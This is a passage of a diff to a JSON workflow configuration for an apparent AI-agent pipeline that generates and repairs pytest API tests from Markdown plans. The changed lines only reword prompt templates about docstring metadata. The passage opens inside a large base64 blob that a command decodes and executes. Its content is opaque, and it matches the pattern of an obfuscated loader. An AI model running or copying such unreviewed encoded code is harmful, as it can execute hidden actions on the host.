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','base64')).toString('utf8'))\""
 				],
 				"timeoutMs": 60000,
 				"cwd": "."
@@ -450,7 +450,7 @@
 						"verification-before-completion"
 					],
 					"complexity": "MED",
-					"subtaskPromptTemplate": "Convert the single frozen Markdown module `{{item.markdownPath}}` into one self-contained pytest module. Before writing, also read the run-owned Markdown plan artifact at `{{item.planReadPath}}` and use its explicit API target/environment table as the authoritative fallback base URL for every module. A task/Markdown `API_BASE_URL` target takes precedence over project README dev-server URLs; never infer a backend API fallback from a frontend/Vite port such as localhost:3000. After reading the module Markdown, the run-owned plan artifact, and the bounded pytest config/conftest, immediately use write tools to create the single frozen file `{{item.pytestPath}}`. Define any bounded HTTP client fixture, request logging/redaction/truncation helper and payload builders needed by this module inside that same file; do not import generated testcase/**/helpers/** or testcase/**/factories/** assets. Do not end after analysis or planning. Do not modify Markdown, conftest, helpers/factories, or any other module's pytest script.\n\nOutput budget protocol (hard, max output <=16K per turn): Write exactly the frozen `{{item.pytestPath}}`. Never paste full Python modules into assistant chat. Do not merge or split modules. Do not reduce params/assertions/skips to fit. If OUTPUT_LIMIT_RECOVERY is injected, continue only listed missing/broken scripts.\n\nAlign every variant pytest.param payload with the Markdown scenario intent (empty/missing/null/length/pattern/enum/wrong-type/nominal). Prefer literal payloads over Faker for intent-critical fields so pre-execution scenario-param checks can verify them. Hard contract: intent=enum-invalid MUST pass a concrete invalid value literal (string/number/boolean), never `_OMIT`/None/missing key; intent=missing/empty may use `_OMIT` or delete the key; intent=custom-literal:trim|whitespace-padded requires a leading/trailing whitespace string with non-empty trimmed content (all-whitespace belongs to empty/whitespace-only, not trim); intent=custom-literal:ACTIVE|ARCHIVED requires the exact enum string, never descriptive tokens like filter-active; intent=max/min/max+1 should pass a repeated-string length expression, a bare length number N, or a helper named _*_LEN{N} / _*_MAX_LENGTH / _*_OVER_LENGTH — never a bare 1 for oversize. Hard contract: request payload dicts may only contain DTO field keys from Payload Allowed Paths; never put expect/expected/echo_* helper keys inside the JSON body dict. Path/query/header identifiers and scenario-control metadata (including `id`, expected codes, and selector labels) must stay in separate pytest parameters and helper arguments; never merge them into a DTO patch or JSON body unless that exact path is allowed by the Markdown payload contract. Normalize the configured API base URL with `rstrip(\"/\")` (or equivalently join exactly one slash) before appending endpoint paths; generated requests must never contain a `//api/...` path. When the bound source documents a concrete non-secret local API URL, generated clients must use it as the fallback in `os.environ.get(\"API_BASE_URL\", \"<documented-url>\")`; do not require an otherwise-uninjected environment variable or fail setup solely because it is absent. Missing-field helpers must remove keys idempotently with `payload.pop(field, None)`, never `del payload[field]`, because optional fields may already be absent.\n\nFor every response contract that requires an object or pagination envelope, first assert that each envelope/data value is a dict and that required keys exist, then index fields and assert values. Never let an incidental KeyError or list/string TypeError stand in for the explicit response-shape contract failure.\n\nEnsure every automatable final Markdown Case ID in this module appears in exactly one primary pytest test function or pytest test class method region, using the exact `primary symbol` declared by Markdown. Skip evidence-only meta Cases that declare `脚本/primary symbol=无` with empty variants; do not invent a business pytest symbol for them. The symbol must start with `test_BE_<MODULE>_<NNN>_` so every parameterized collected item remains associated with its Case. Module-level functions and class-based pytest methods are both supported. Only `变体测试点` may use stable `pytest.param(..., id=\"TP-...\")` IDs, and every atomic variant ID must appear exactly once with a genuine input/state/outcome change. A Case with exactly one variant Test Point still needs one literal `pytest.param(..., id=\"TP-...\")` row; never leave a single-variant Case as a bare function with the TP only in the docstring. Use a literal direct `pytest.param(..., id=...)` expression for every row; never hide or wrap it behind `_post_case`, `_put_case`, row-factory functions, comprehensions, generators, or dynamically returned parameter lists; do not use decorator-level `ids=[...]`, generated suffixes, or IDs that extend/shorten the exact Markdown TP. Do not parameterize `场景断言测试点` or `横切证据测试点`; execute all assertion checkpoints within the same business journey/item and use shared helpers for cross-cutting evidence. Governance-only cross-cutting bindings such as writeSet compliance, execution count, report existence, or orchestration state are metadata-only in business pytest: preserve their IDs in `Cross-Cutting-Test-Points`, but never assert `__file__`, filesystem placement, pytest invocation count, Harness state, or report artifacts inside the business test. Harness-owned evidence verifies those bindings. The first statement inside every primary symbol must be a triple-quoted docstring containing exact lines `Case-ID: BE-...`, `Assertion-Test-Points: TP-...;TP-...` and `Cross-Cutting-Test-Points: TP-...;TP-...` (use `none` when empty), for example `def test_BE_X_001():\n    \"\"\"\n    Case-ID: BE-X-001\n    Assertion-Test-Points: TP-X-ASSERT\n    Cross-Cutting-Test-Points: none\n    \"\"\"`. Module/class docstrings, comments before `def`, and singular `Assertion-Test-Point:` comments never bind a Test Point. Implement request dictionaries so their direct and nested key paths and enum literals exactly satisfy the Case `Payload Required Paths`, `Payload Allowed Paths`, and `Payload Enum`; for `Payload Contract: none`, do not invent a JSON/body DTO. GET/list filters still declare query fields in those payload labels when the Case varies `params=`/`query=` keys. Python `True`/`False` may implement JSON/OpenAPI `true`/`false` query or body booleans. GET/DELETE setup journeys may create resources, but their setup DTO must not change the target operation's no-body payload contract. No Test Point may be invented, renamed, omitted or bound in two modes. The generated pytest collection shape must equal the Markdown prediction `sum(max(1, variant count per Case))`; keep it at or below the task's explicit budget by removing duplicate execution, never by collapsing multiple parameter rows under a coarse family TP. Assertions come only from 预期结果 and setup comes only from 前置条件/测试数据/自动化映射.\n\nName the generated pytest file so it corresponds one-to-one with its source Markdown module file: this module stem `{{item.stem}}` maps to exactly the frozen `{{item.pytestPath}}`. The <module> stem is the Markdown filename without the `.md` extension, lowercased and with non-alphanumeric characters replaced by underscores. For example, `resource_notes` → `testcase/test_resource_notes.py`, `health` → `testcase/test_health.py`. If Markdown automation mapping names a different path than this module stem path, still write the frozen manifest pytest path and do not invent prefixes. Never merge multiple Markdown modules into one pytest file, never split one module across several files, and never invent pytest filenames unrelated to the Markdown modules.\n\nScenario Partition slots: every `TP-<Partition ID>-...` variant Test Point declared by this module's Markdown MUST become exactly one literal direct `pytest.param(..., id=\"TP-<Partition ID>-...\")` row with the exact slot ID; the not-in-set slot passes a concrete literal absent from the documented Domain (e.g. `UNKNOWN_TYPE`) — never `_OMIT`, never a descriptive token. Never split one slot into multiple params or merge several slots under a family TP id. Slot filtering requests hit the documented list endpoint with the slot value as the query/path filter.\n\nKeep this module self-contained: define module-local fixtures and helpers directly in `{{item.pytestPath}}`, so pytest discovers every fixture dependency without external plugin registration. The request log must include method, URL/path, and request parameters (query plus JSON/body/payload summary). The response log must include status code and response result (JSON/text/body summary), and both records must be visible in pytest stdout/stderr without changing assertions. Recursively redact sensitive values and apply bounded truncation before logging.\n\nMaterialize every automatable Markdown Case exactly once as one canonical primary pytest symbol. Preserve every explicit variant Test Point as a stable pytest.param id and every assertion/cross-cutting binding as declared. Build request payloads from the effective Markdown test data literally: keep all declared DTO keys, nested shapes, enum values, missing/null/boundary variants and business-state preconditions; never substitute guessed convenience fields or rename contract fields. Never assert an identifier's concrete Python/JSON type unless the Markdown or bound contract explicitly declares that type; when only presence is required, accept any non-null scalar identifier and serialize it safely into the path. For a nonexistent-resource 404 Case whose identifier syntax/type is not declared, obtain a syntactically valid identifier from a live create response and delete it before the 404 request; never invent an arbitrary UUID/text identifier that may fail path conversion with 400. Respect every local helper's actual return signature: never tuple-unpack a scalar status/id/helper result, and never treat a tuple response as a scalar.\n\nDo not read source/**, add cases, reassign ACs, modify conftest/config/production code, use skip/xfail, swallow assertions, execute pytest, or emit JSON. For best-effort cleanup, catch only the narrow transport exception actually raised by the selected HTTP client (for example `requests.RequestException` or `urllib.error.URLError`); never use bare `except`, `Exception`, or `BaseException` with `pass`.",
+					"subtaskPromptTemplate": "Convert the single frozen Markdown module `{{item.markdownPath}}` into one self-contained pytest module. Before writing, also read the run-owned Markdown plan artifact at `{{item.planReadPath}}` and use its explicit API target/environment table as the authoritative fallback base URL for every module. A task/Markdown `API_BASE_URL` target takes precedence over project README dev-server URLs; never infer a backend API fallback from a frontend/Vite port such as localhost:3000. After reading the module Markdown, the run-owned plan artifact, and the bounded pytest config/conftest, immediately use write tools to create the single frozen file `{{item.pytestPath}}`. Define any bounded HTTP client fixture, request logging/redaction/truncation helper and payload builders needed by this module inside that same file; do not import generated testcase/**/helpers/** or testcase/**/factories/** assets. Do not end after analysis or planning. Do not modify Markdown, conftest, helpers/factories, or any other module's pytest script.\n\nOutput budget protocol (hard, max output <=16K per turn): Write exactly the frozen `{{item.pytestPath}}`. Never paste full Python modules into assistant chat. Do not merge or split modules. Do not reduce params/assertions/skips to fit. If OUTPUT_LIMIT_RECOVERY is injected, continue only listed missing/broken scripts.\n\nAlign every variant pytest.param payload with the Markdown scenario intent (empty/missing/null/length/pattern/enum/wrong-type/nominal). Prefer literal payloads over Faker for intent-critical fields so pre-execution scenario-param checks can verify them. Hard contract: intent=enum-invalid MUST pass a concrete invalid value literal (string/number/boolean), never `_OMIT`/None/missing key; intent=missing/empty may use `_OMIT` or delete the key; intent=custom-literal:trim|whitespace-padded requires a leading/trailing whitespace string with non-empty trimmed content (all-whitespace belongs to empty/whitespace-only, not trim); intent=custom-literal:ACTIVE|ARCHIVED requires the exact enum string, never descriptive tokens like filter-active; intent=max/min/max+1 should pass a repeated-string length expression, a bare length number N, or a helper named _*_LEN{N} / _*_MAX_LENGTH / _*_OVER_LENGTH — never a bare 1 for oversize. Hard contract: request payload dicts may only contain DTO field keys from Payload Allowed Paths; never put expect/expected/echo_* helper keys inside the JSON body dict. Path/query/header identifiers and scenario-control metadata (including `id`, expected codes, and selector labels) must stay in separate pytest parameters and helper arguments; never merge them into a DTO patch or JSON body unless that exact path is allowed by the Markdown payload contract. Normalize the configured API base URL with `rstrip(\"/\")` (or equivalently join exactly one slash) before appending endpoint paths; generated requests must never contain a `//api/...` path. When the bound source documents a concrete non-secret local API URL, generated clients must use it as the fallback in `os.environ.get(\"API_BASE_URL\", \"<documented-url>\")`; do not require an otherwise-uninjected environment variable or fail setup solely because it is absent. Missing-field helpers must remove keys idempotently with `payload.pop(field, None)`, never `del payload[field]`, because optional fields may already be absent.\n\nFor every response contract that requires an object or pagination envelope, first assert that each envelope/data value is a dict and that required keys exist, then index fields and assert values. Never let an incidental KeyError or list/string TypeError stand in for the explicit response-shape contract failure.\n\nEnsure every automatable final Markdown Case ID in this module appears in exactly one primary pytest test function or pytest test class method region, using the exact `primary symbol` declared by Markdown. Skip evidence-only meta Cases that declare `脚本/primary symbol=无` with empty variants; do not invent a business pytest symbol for them. The symbol must start with `test_BE_<MODULE>_<NNN>_` so every parameterized collected item remains associated with its Case. Module-level functions and class-based pytest methods are both supported. Only `变体测试点` may use stable `pytest.param(..., id=\"TP-...\")` IDs, and every atomic variant ID must appear exactly once with a genuine input/state/outcome change. A Case with exactly one variant Test Point still needs one literal `pytest.param(..., id=\"TP-...\")` row; never leave a single-variant Case as a bare function with the TP only in the docstring. Use a literal direct `pytest.param(..., id=...)` expression for every row; never hide or wrap it behind `_post_case`, `_put_case`, row-factory functions, comprehensions, generators, or dynamically returned parameter lists; do not use decorator-level `ids=[...]`, generated suffixes, or IDs that extend/shorten the exact Markdown TP. Do not parameterize `场景断言测试点` or `横切证据测试点`; execute all assertion checkpoints within the same business journey/item and use shared helpers for cross-cutting evidence. Governance-only cross-cutting bindings such as writeSet compliance, execution count, report existence, or orchestration state are metadata-only in business pytest: preserve their IDs in `Cross-Cutting-Test-Points`, but never assert `__file__`, filesystem placement, pytest invocation count, Harness state, or report artifacts inside the business test. Harness-owned evidence verifies those bindings. The primary symbol docstring must contain exact metadata lines `Case-ID: BE-...`, `Assertion-Test-Points: TP-...;TP-...` and `Cross-Cutting-Test-Points: TP-...;TP-...` (use `none` when empty). Implement request dictionaries so their direct and nested key paths and enum literals exactly satisfy the Case `Payload Required Paths`, `Payload Allowed Paths`, and `Payload Enum`; for `Payload Contract: none`, do not invent a JSON/body DTO. GET/list filters still declare query fields in those payload labels when the Case varies `params=`/`query=` keys. Python `True`/`False` may implement JSON/OpenAPI `true`/`false` query or body booleans. GET/DELETE setup journeys may create resources, but their setup DTO must not change the target operation's no-body payload contract. No Test Point may be invented, renamed, omitted or bound in two modes. The generated pytest collection shape must equal the Markdown prediction `sum(max(1, variant count per Case))`; keep it at or below the task's explicit budget by removing duplicate execution, never by collapsing multiple parameter rows under a coarse family TP. Assertions come only from 预期结果 and setup comes only from 前置条件/测试数据/自动化映射.\n\nName the generated pytest file so it corresponds one-to-one with its source Markdown module file: this module stem `{{item.stem}}` maps to exactly the frozen `{{item.pytestPath}}`. The <module> stem is the Markdown filename without the `.md` extension, lowercased and with non-alphanumeric characters replaced by underscores. For example, `resource_notes` → `testcase/test_resource_notes.py`, `health` → `testcase/test_health.py`. If Markdown automation mapping names a different path than this module stem path, still write the frozen manifest pytest path and do not invent prefixes. Never merge multiple Markdown modules into one pytest file, never split one module across several files, and never invent pytest filenames unrelated to the Markdown modules.\n\nScenario Partition slots: every `TP-<Partition ID>-...` variant Test Point declared by this module's Markdown MUST become exactly one literal direct `pytest.param(..., id=\"TP-<Partition ID>-...\")` row with the exact slot ID; the not-in-set slot passes a concrete literal absent from the documented Domain (e.g. `UNKNOWN_TYPE`) — never `_OMIT`, never a descriptive token. Never split one slot into multiple params or merge several slots under a family TP id. Slot filtering requests hit the documented list endpoint with the slot value as the query/path filter.\n\nKeep this module self-contained: define module-local fixtures and helpers directly in `{{item.pytestPath}}`, so pytest discovers every fixture dependency without external plugin registration. The request log must include method, URL/path, and request parameters (query plus JSON/body/payload summary). The response log must include status code and response result (JSON/text/body summary), and both records must be visible in pytest stdout/stderr without changing assertions. Recursively redact sensitive values and apply bounded truncation before logging.\n\nMaterialize every automatable Markdown Case exactly once as one canonical primary pytest symbol. Preserve every explicit variant Test Point as a stable pytest.param id and every assertion/cross-cutting binding as declared. Build request payloads from the effective Markdown test data literally: keep all declared DTO keys, nested shapes, enum values, missing/null/boundary variants and business-state preconditions; never substitute guessed convenience fields or rename contract fields. Never assert an identifier's concrete Python/JSON type unless the Markdown or bound contract explicitly declares that type; when only presence is required, accept any non-null scalar identifier and serialize it safely into the path. For a nonexistent-resource 404 Case whose identifier syntax/type is not declared, obtain a syntactically valid identifier from a live create response and delete it before the 404 request; never invent an arbitrary UUID/text identifier that may fail path conversion with 400. Respect every local helper's actual return signature: never tuple-unpack a scalar status/id/helper result, and never treat a tuple response as a scalar.\n\nDo not read source/**, add cases, reassign ACs, modify conftest/config/production code, use skip/xfail, swallow assertions, execute pytest, or emit JSON. For best-effort cleanup, catch only the narrow transport exception actually raised by the selected HTTP client (for example `requests.RequestException` or `urllib.error.URLError`); never use bare `except`, `Exception`, or `BaseException` with `pass`.",
 					"outputContract": "Write exactly the frozen pytest module file `{{item.pytestPath}}` whose actual test function region contains the exact Case ID, preferably in the function name or docstring. the frozen `{{item.markdownPath}}` maps one-to-one to `{{item.pytestPath}}`; never merge or split modules. No JSON and no pytest execution.",
 					"toolProfile": "write",
 					"writePolicy": "exclusive",
@@ -530,7 +530,7 @@
 			],
 			"runIf": "$.nodes['assess-backend-pytest-collection-shell'].json.repairEligible == true",
 			"complexity": "MED",
-			"subtask_prompt": "Repair the generated backend pytest asset as one bounded program using the direct upstream collection assessment. This is the only repair attempt and happens before any business test body execution. The direct upstream JSON includes authoritative `repairPaths` and bounded `repairFindings`; treat both as the complete mandatory checklist without searching for a run directory or report file. Treat any upstream line such as `Repair paths: testcase/test_x.py` as equivalent authoritative repairPaths evidence. Directly read and edit that testcase path; do not search for separate root-level `contracts/**`, guess a DAG run directory, or require another report artifact. If the read tool successfully returns the testcase file, the path exists—continue the bounded repair and never later claim that file is absent.\n\nInitial status REPAIRABLE means at least one listed finding remains: `already-satisfied` is forbidden, and you must produce a non-empty bounded diff on repairPaths before returning `IMPLEMENTATION_OUTCOME: changed`. Fix only readiness-proven generated testcase-local defects on initial facts repairPaths: create exact safe missing mapped test_*.py paths, repair syntax/import/symbol/decorator/parameterization, close generated fixture dependencies/plugin registration, and repair initial Markdown-to-pytest correspondence findings. Use this deterministic repair map instead of reading analyzer implementation: findings about `Case-ID`, `Assertion-Test-Points`, or `Cross-Cutting-Test-Points` are fixed by making the first statement in the declared primary symbol a triple-quoted docstring with the exact plural metadata lines; these are the primary symbol docstring metadata lines. Module/class docstrings, comments before `def`, and singular `Assertion-Test-Point:` comments are invalid. Variant binding findings are fixed in the literal direct `pytest.param(..., id=\"TP-...\")` row; primary-symbol cardinality/name findings are fixed in the function name or duplicate primary symbols; script mismatch is fixed only on the authoritative assessment repairPaths; payload findings are fixed in request payload construction. Do not read controller `src/**` or inspect JS/TS analyzer code. Do not search for `testcase/**/README.md`. Never invent a business pytest symbol for evidence-only Markdown Cases that declare `脚本/primary symbol=无` with empty variants. For fixture defects inspect both provider and importer listed by repairPaths; fix ScopeMismatch by aligning fixture scopes or inlining request-scoped values so module fixtures never depend on function fixtures; when a shared fixture depends on sibling fixtures, register the whole provider module through an exact pytest_plugins declaration rather than importing only the outer fixture. Do not create unrelated pytest scripts.\n\nThis is the single pytest incremental synchronization round. The `Findings` in `reports/backend-test-pytest-collection-initial.md` are the mandatory repair checklist: resolve every repairable listed finding on every authoritative `Repair paths` file before considering any other advisory evidence, and never substitute an unrelated scenario-param cleanup for a listed correspondence/collection defect. For every assessment-listed path, compare the effective Markdown Case/Test Points/test data and its `Payload Contract`/`Payload Required Paths`/`Payload Allowed Paths`/`Payload Enum` labels with the generated module. Incrementally add or repair only missing symbols, params, assertions and payload builders. Repair every assessment-listed missing nested path, unexpected key and enum mismatch; preserve exact DTO keys, nested shapes, enum/boundary literals, operation transport and business preconditions; remove guessed replacement keys only when the effective Markdown proves the exact contract. Keep path/query/header identifiers and scenario-control metadata separate from DTO patches and JSON bodies; an `id` used for a path target must be passed to the request path/helper, never inserted into a body patch unless `id` is explicitly listed in Payload Allowed Paths. Flatten every variant into a literal direct `pytest.param(..., id=\"TP-...\")` row; replace `_post_case`/`_put_case` or other parameter-row factories because correspondence and scenario readiness require the actual row values and IDs to be statically visible. Also repair helper call sites to match their defined return signatures; do not tuple-unpack a helper that returns one scalar value.\n\nPreserve final testcase/md/** semantics, every Case ID, Rule/Test Point binding, primary symbol, parameter ID, expected status/body/schema assertion, HTTP logging, redaction and truncation behavior.\n\nUse local edit only on assessment-listed paths; keep summaries short; never rewrite unrelated modules.\n\nDo not reinterpret requirements beyond the effective Markdown and bounded assessment diagnostics. Do not modify Markdown, conftest, pytest config, production code or dependencies.\n\nDo not add skip/skipif/xfail, remove tests, reduce collected items, loosen assertions, swallow exceptions, use try/except ImportError fallback, mutate sys.path/PYTHONPATH, or replace the real API with mocks.\n\nDo not execute pytest; the deterministic effective collection gate owns the final collection attempt.",
+			"subtask_prompt": "Repair the generated backend pytest asset as one bounded program using the direct upstream collection assessment. This is the only repair attempt and happens before any business test body execution. The direct upstream JSON includes authoritative `repairPaths` and bounded `repairFindings`; treat both as the complete mandatory checklist without searching for a run directory or report file. Treat any upstream line such as `Repair paths: testcase/test_x.py` as equivalent authoritative repairPaths evidence. Directly read and edit that testcase path; do not search for separate root-level `contracts/**`, guess a DAG run directory, or require another report artifact. If the read tool successfully returns the testcase file, the path exists—continue the bounded repair and never later claim that file is absent.\n\nInitial status REPAIRABLE means at least one listed finding remains: `already-satisfied` is forbidden, and you must produce a non-empty bounded diff on repairPaths before returning `IMPLEMENTATION_OUTCOME: changed`. Fix only readiness-proven generated testcase-local defects on initial facts repairPaths: create exact safe missing mapped test_*.py paths, repair syntax/import/symbol/decorator/parameterization, close generated fixture dependencies/plugin registration, and repair initial Markdown-to-pytest correspondence findings. Use this deterministic repair map instead of reading analyzer implementation: findings about `Case-ID`, `Assertion-Test-Points`, or `Cross-Cutting-Test-Points` are fixed by editing the declared primary symbol docstring metadata lines; variant binding findings are fixed in the literal direct `pytest.param(..., id=\"TP-...\")` row; primary-symbol cardinality/name findings are fixed in the function name or duplicate primary symbols; script mismatch is fixed only on the authoritative assessment repairPaths; payload findings are fixed in request payload construction. Do not read controller `src/**` or inspect JS/TS analyzer code. Do not search for `testcase/**/README.md`. Never invent a business pytest symbol for evidence-only Markdown Cases that declare `脚本/primary symbol=无` with empty variants. For fixture defects inspect both provider and importer listed by repairPaths; fix ScopeMismatch by aligning fixture scopes or inlining request-scoped values so module fixtures never depend on function fixtures; when a shared fixture depends on sibling fixtures, register the whole provider module through an exact pytest_plugins declaration rather than importing only the outer fixture. Do not create unrelated pytest scripts.\n\nThis is the single pytest incremental synchronization round. The `Findings` in `reports/backend-test-pytest-collection-initial.md` are the mandatory repair checklist: resolve every repairable listed finding on every authoritative `Repair paths` file before considering any other advisory evidence, and never substitute an unrelated scenario-param cleanup for a listed correspondence/collection defect. For every assessment-listed path, compare the effective Markdown Case/Test Points/test data and its `Payload Contract`/`Payload Required Paths`/`Payload Allowed Paths`/`Payload Enum` labels with the generated module. Incrementally add or repair only missing symbols, params, assertions and payload builders. Repair every assessment-listed missing nested path, unexpected key and enum mismatch; preserve exact DTO keys, nested shapes, enum/boundary literals, operation transport and business preconditions; remove guessed replacement keys only when the effective Markdown proves the exact contract. Keep path/query/header identifiers and scenario-control metadata separate from DTO patches and JSON bodies; an `id` used for a path target must be passed to the request path/helper, never inserted into a body patch unless `id` is explicitly listed in Payload Allowed Paths. Flatten every variant into a literal direct `pytest.param(..., id=\"TP-...\")` row; replace `_post_case`/`_put_case` or other parameter-row factories because correspondence and scenario readiness require the actual row values and IDs to be statically visible. Also repair helper call sites to match their defined return signatures; do not tuple-unpack a helper that returns one scalar value.\n\nPreserve final testcase/md/** semantics, every Case ID, Rule/Test Point binding, primary symbol, parameter ID, expected status/body/schema assertion, HTTP logging, redaction and truncation behavior.\n\nUse local edit only on assessment-listed paths; keep summaries short; never rewrite unrelated modules.\n\nDo not reinterpret requirements beyond the effective Markdown and bounded assessment diagnostics. Do not modify Markdown, conftest, pytest config, production code or dependencies.\n\nDo not add skip/skipif/xfail, remove tests, reduce collected items, loosen assertions, swallow exceptions, use try/except ImportError fallback, mutate sys.path/PYTHONPATH, or replace the real API with mocks.\n\nDo not execute pytest; the deterministic effective collection gate owns the final collection attempt.",
 			"executor": "pi",
 			"role": "implementer",
 			"toolProfile": "write",